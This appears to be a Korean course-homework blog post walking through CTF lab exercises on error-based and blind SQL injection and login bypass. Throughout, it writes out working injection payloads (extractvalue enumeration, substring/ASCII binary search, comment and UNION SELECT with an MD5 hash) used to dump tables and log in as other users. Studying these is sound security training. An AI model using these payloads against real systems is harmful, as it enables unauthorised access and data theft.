Error Based SQL Injection

SQL의 에러가 화면에 노출 될 때 사용된다.

 

일반적으로는 ERROR 가 화면에 노출되지 않고 뭉뚱그려 500에러로 발생되지만 개발자가 에러를 확인하기 위해 SQL의 에러를 화면에 표기되도록 만들었을 때 사용 할 수 있다. 

각 DB마다 사용하기 적절한 함수가 별도로 있으나 대표적으로 MySQL의 경우 "extractvalue"가 있다.

 

extractvalue는 extractvalue(val1, val2)로 되어 있으며 val1에서 val2의 xml 값을 찾아 표기하게 되는데 에러 메시지에서 val2의 값을 볼 수 있다 이를 활용하여 val2에 select를 추가 작성하여 값을 확인 할 수 있다.

 

예시

입력 값 : noraltic' and extractvalue('1', concat(0x3a, 'test')) #

 

 

그렇다면 test 대신 SELECT를 사용하여 DATABASE를 알아보자 

 

입력 값 : noraltic' and extractvalue('1', concat(0x3a, (select database() from dual limit 1) )) #

 

현재 사용하는 DB는errorSqli 라는 DB이다.

이제 사용하는 테이블들을 확인해보자

 입력 데이터 : noraltic' and extractvalue('1', concat(0x3a, (
select TABLE_NAME from information_schema.TABLES limit 60,1
) )) #

경험상으로 기본테이블은 약 60개라 limit을 60부터 시작했다.

테이블명은 flagTable이다.

 

이제 테이블에 사용되는 컬럼들을 찾아보자.

입력 데이터:

noraltic' and extractvalue('1', concat(0x3a, (
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'flagTable' limit 1,1
) )) #

컬럼까지 확인 했으니 조회를 해보자

 

입력 데이터:

noraltic' and extractvalue('1', concat(0x3a, (
select flag from flagTable limit 0,1
) )) #

 

데이터를 찾을 수 있다.


Blind SQL Injection

데이터의 결과를 참과 거짓으로 데이터를 추출하는 방식이다. 

아주 간단한 예시를 들자면 비밀번호가 1020이라는 값을 가진 row가 있다.

 

1020의 첫 번째 글자가 0이 맞는가? -> 거짓

1020의 첫 번째 글자가 1이 맞는가? -> 참

1020듸 두 번째 글자가 0이 맞는가? -> 참

.....

이와 같은 방식으로 데이터가 어떠한 문자를 가지는지 한글자씩 비교하는 방식이다.

 

많은 케이스를 대입해봐야하기 때문에 시간이 오래 걸리지만 참과 거짓이라는 간단한 명제를 사용하기 때문에 다양한 케이스에서 사용될 수있는 SQL Inejction이다.

예시

입력 데이터: normaltic' and ('1'='1') and '1'='1

해당 내용은 참이다. 이제 ('1'='1')에 참 거짓 명제를 넣어 Database를 알아내보자

 

입력 데이터들

normaltic' and (select length(database())=9) and '1'='1 ============> 총 9글자

normaltic' and (select substring(database(), 1,1)='a') and '1'='1  ====> 거짓

normaltic' and (select substring(database(), 1,1)='b') and '1'='1 =====> 참 (어라 blind인가?)

normaltic' and (select substring(database(), 2,1)='l') and '1'='1 ======> 참 (bl)

normaltic' and (select substring(database(), 3,1)='i') and '1'='1 ======> 참 (bli)

normaltic' and (select substring(database(), 4,1)='n') and '1'='1 ======> 참 (blin)

normaltic' and (select substring(database(), 5,1)='d') and '1'='1 ======> 참 (blind)

normaltic' and (select substring(database(), 6,1)='s') and '1'='1 ======> 참 (blind)

normaltic' and (select database()='blindSqli') and '1'='1 ==============> 참

 

 

 

 

참고로 위는 기존까지의 DB 패턴을 봐서 짐작하여 진행했다.

이러한 짐작을 할 수 없을 때를 대비해 빠르가 찾는 방법이 있다.

문자열을 ASCII로 변환하면 숫자가 되며 숫자를 찾을 때 중간값을 정하고 중간값보다 큰 값인지 작은 값인지 비교한다. 필요 없는 값은 버리고 다시 포함된 값에서 중간값을 찾고, 이를 반복하면 정답까지 시간복잡도는 log(n)이된다.

 

이를 이진탐색이라 부른다. Tbale을 찾을 때 이진탐색을 활용하여 찾아보자 

 

z의 아스키 값은 122다 테이블 명에 {|}~와 같은 특수문자가 들어가 있지 않다면 

테이블의 첫 번째 문자열은 123보다 작을 것이다.

 

입력 데이터:

normaltic' and (
select 

               ASCII(substring(table_name, 1,1)) < 123 

from information_schema.tables where table_schema='blindSqli' limit 0,1
 ) and '1'='1

 

여기서 중요한 것은 123이 참이 나왔고 이 값을 변경하며 범위를 줄여나가는 것이다.

1차 60 ~ 123

2차 90 ~ 123

3차 90 ~ 110

4차 100 ~110

5차 100 ~105 

6차 103 이 나왔고 103 g

테이블의 첫 글자는 g이다.

이와 같은 방법으로 테이블을 찾아보자 

그 전에 총 글자수는 9글자이다.

 

테이블명은 flagTable

 

이제 컬럼명을 찾자 컬럼명은 falg일 것 같다...?

 

빙고 노가다 줄었다...

 

 

처음에 찾았는데 

자꾸 틀렸다고해서 다른분께 여쭤보니 SQL이 대소문자를 구분 안해서 발생한 것 이라고 한다...

 

문제

normaltic4 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


 

 

id pw 성공여부
doldol' union select '1', '1 dol1234 성공
wow' union select 'doldol', '1 1 실패
wow' union select 'doldol', '1  dol1234 실패
doldol' # dol1234 성공
doldol' # 123 실패

 

위의 케이스로 볼때 id로 비밀번호를 찾고 입력받은 비밀번호와 db의 비밀번호를 대조 한다.

단 비밀번호를 암호화 했다.

==========================================================================

그렇기 때문에 db에서 union으로 입력한 1의 값을넣어도 1 == '암호화한 값' 이 true가 아니기 때문에 

로그인을 할 수 없다. 하지만? 우리는 비밀번호를 알고 있는 하나의 계정을 안다.

즉 doldol의 비밀번호로 noranltic4를 로그인 시키면된다.

' union 'normaltic', (select {pw} from {table} where {id} == 'doldol')

=====================================결국 실패=======================

DB, Table, Column을 알 수있는 방법이 없어 포기

 

설마 암호화 한 값을 직접 뱉어내면 되겠지만... 그 많은 해시중에 뭐고 ..... salt값 있으면 안될테

' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'

옛날 수업노트를보니 md5를 사용하신것을 확인 할수 있었다. 

1을 md5하면 c4ca4238a0b923820dcc509a6f75849b 값이 나오며 

즉 로그인 할 때 1은 위와 같은 값이 되므로 

 

' union select 'normaltic4', 'c4ca4238a0b923820dcc509a6f75849b'

 

id='normaltic' pw='c4ca4238a0b923820dcc509a6f75849b' 값이 반환되고

BackEnd 로직에서 입력받은 1이라는 비밀번호 또한' c4ca4238a0b923820dcc509a6f75849b'로 변환되어

'c4ca4238a0b923820dcc509a6f75849b'== 'c4ca4238a0b923820dcc509a6f75849b'

가된다..

 

 

문서를 안봤다면 md5이 전에 sha-256 512 다른 삽질 엄청 했을 것 같다.

문서를 참고하라고 해주신 김진규님 감사합니다~

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 1  (1) 2023.12.18
Blind SQL 자동화  (0) 2023.12.14
CTF Athentication Bypass(Login Bypass 3)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 2)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 1)  (1) 2023.12.03

문제

Login Bypass 3

50

normaltic3 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


시도한 SQL Injection CASE

CASE1 =  id: doldol' # pw=1234 => 로그인 실패

CASE2  = id: doldil' # pw=dol1234 => 로그인 성공

CASE3 = id: doldol' or '1'='1 pw=1234 => 로그인 실패

CASE3 = id: doldol' or '1'='1 pw= dol1234  => 로그인 실패

CASE4 = id='doldol' and '1'='1 pw= dol1234

 

위와 같은 케이스를 봐서 doldol의 데이터를 DB에서 찾은 뒤 입력받은 pw와 DB의 pw를 비교하는 듯 하다.

즉 이번 케이스는 ID, PW를 구분하여 비교하게 된다.

 

그렇다면 union select '원하는 아이디', '내가 입력할 비밀번호' # 을 하게된다면 내가 원하는 아이디로 로그인이 가능 할 것이다.

 

단 첫번째 데이터만 불러올 것이기 때문에 {없는 아이디}' union select '원하는 아이디', '내가 입력할 비밀번호' #

union 앞의 조건은 없는 아이디어야 한다.

 

 

이번의 케이스는 id pw로 되어있지만 만약 테이블의 컬럼이 많고 * 로 되어있었다면 모든 케이스별로 ID, PW의 위치를 찾아야 했을 것 같다.

문제

Login Bypass 2

50

normaltic2 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


주석을 사용한 SQL Injection이 바로 성공하였다.

id: normaltic2' # pw : 아무거나

 

+ Recent posts